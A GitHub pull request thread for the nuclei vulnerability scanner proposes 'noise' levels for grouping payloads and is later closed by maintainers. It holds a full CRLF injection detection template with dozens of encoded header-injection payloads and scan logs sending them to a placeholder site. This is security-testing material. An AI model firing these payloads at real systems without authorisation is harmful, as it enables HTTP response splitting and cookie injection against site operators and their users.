Added noise parameter for http payload conditional fuzzing support

[Ice3man543]

Proposed changes

Closes #3005

id: crlf-injection

info:
  name: CRLF Injection
  author: pdteam
  severity: low
  tags: crlf,dast

requests:
  - method: GET
    path:
      - "{{BaseURL}}"

    payloads:
      escape:
        low: 
          - "%00"
          - "%0a"
          - "%0a%20"
          - "%0d"
        medium:
          - "%0d%09"
          - "%0d%0a"
          - "%0d%0a%09"
          - "%0d%0a%20"
          - "%0d%20"
          - "%20"
          - "%20%0a"
          - "%20%0d"
          - "%20%0d%0a"
          - "%23%0a"
          - "%23%0a%20"
          - "%23%0d"
          - "%23%0d%0a"
          - "%23%oa"
          - "%25%30"
        high:
          - "%25%30%61"
          - "%2e%2e%2f%0d%0a"
          - "%2f%2e%2e%0d%0a"
          - "%2f..%0d%0a"
          - "%3f"
          - "%3f%0a"
          - "%3f%0d"
          - "%3f%0d%0a"
          - "%e5%98%8a%e5%98%8d"
          - "%e5%98%8a%e5%98%8d%0a"
          - "%e5%98%8a%e5%98%8d%0d"
          - "%e5%98%8a%e5%98%8d%0d%0a"
          - "%e5%98%8a%e5%98%8d%e5%98%8a%e5%98%8d"
          - "%u0000"
          - "%u000a"
          - "%u000d"
          - "\r"
          - "\r%20"
          - "\r\n"
          - "\r\n%20"
          - "\r\n\t"
          - "\r\t"

    fuzzing:
      - part: query
        type: postfix
        fuzz:
          - "{{escape}}Set-Cookie:crlfinjection=crlfinjection"

    stop-at-first-match: true
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'

Example run

./nuclei -t template.yaml -u "https://example.com/?test=value" -v

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v2.8.4-dev

                projectdiscovery.io

[INF] Using Nuclei Engine 2.8.4-dev (development)
[INF] Using Nuclei Templates 9.3.3 (latest)
[INF] Templates added in last update: 238
[INF] Templates loaded for scan: 1
[INF] Targets loaded for scan: 1
[VER] [crlf-injection] Sent HTTP request to https://example.com/?test=value%2500Set-Cookie%3Acrlfinjection%3Dcrlfinjection
[VER] [crlf-injection] Sent HTTP request to https://example.com/?test=value%250aSet-Cookie%3Acrlfinjection%3Dcrlfinjection
[VER] [crlf-injection] Sent HTTP request to https://example.com/?test=value%250a%2520Set-Cookie%3Acrlfinjection%3Dcrlfinjection
[VER] [crlf-injection] Sent HTTP request to https://example.com/?test=value%250dSet-Cookie%3Acrlfinjection%3Dcrlfinjection
[INF] No results found. Better luck next time!
 
 ./nuclei -t template.yaml -u "https://example.com/?test=value" -v -noise medium

                     __     _
   ____  __  _______/ /__  (_)
  / __ \/ / / / ___/ / _ \/ /
 / / / / /_/ / /__/ /  __/ /
/_/ /_/\__,_/\___/_/\___/_/   v2.8.4-dev

                projectdiscovery.io

[INF] Using Nuclei Engine 2.8.4-dev (development)
[INF] Using Nuclei Templates 9.3.3 (latest)
[INF] Templates added in last update: 238
[INF] Templates loaded for scan: 1
[INF] Targets loaded for scan: 1
[VER] [crlf-injection] Sent HTTP request to https://example.com/?test=value%2500Set-Cookie%3Acrlfinjection%3Dcrlfinjection
[VER] [crlf-injection] Sent HTTP request to https://example.com/?test=value%250aSet-Cookie%3Acrlfinjection%3Dcrlfinjection
[VER] [crlf-injection] Sent HTTP request to https://example.com/?test=value%250a%2520Set-Cookie%3Acrlfinjection%3Dcrlfinjection
[VER] [crlf-injection] Sent HTTP request to https://example.com/?test=value%250dSet-Cookie%3Acrlfinjection%3Dcrlfinjection
[VER] [crlf-injection] Sent HTTP request to https://example.com/?test=value%250d%2509Set-Cookie%3Acrlfinjection%3Dcrlfinjection
[VER] [crlf-injection] Sent HTTP request to https://example.com/?test=value%250d%250aSet-Cookie%3Acrlfinjection%3Dcrlfinjection
...

Checklist

• Pull request is created against the dev branch
• All checks passed (lint, unit/integration/regression tests etc.) with my changes
• I have added tests that prove my fix is effective or that my feature works
• I have added necessary documentation (if appropriate)

[Mzack9999]

As the change is quite structural (YAML syntax), what do you think about creating different templates with different noise tags and reusing all common parts with #1767?

[Ice3man543]

@Mzack9999 that would make it quite complicated and probably unusable. This was the cleanest solution i could think of while having all types of payload sets in a single file.

[Mzack9999]

lgtm implementation - I'd recommend double checking with @ehsandeep the yaml syntax proposed change

[tarunKoyalwar]

@Ice3man543 , what do you think of shortflag nl ?

[tarunKoyalwar]

lgtm!

[ehsandeep]

@Ice3man543 using in template payloads with different levels may not work well, as either, we need to dedupe the payload in each section to ensure we are not missing obvious/common payloads from one level by using another one, and then deduping payloads may not go well as the payload lines increases; instead, this can be controlled efficiently directly from CLI by mapping payload request counter with noise levels, for example, low level will execute 30% of payloads of each template and so on, also let's tackle this later, closing the PR for now as this needs to be reworked in future with a different strategy.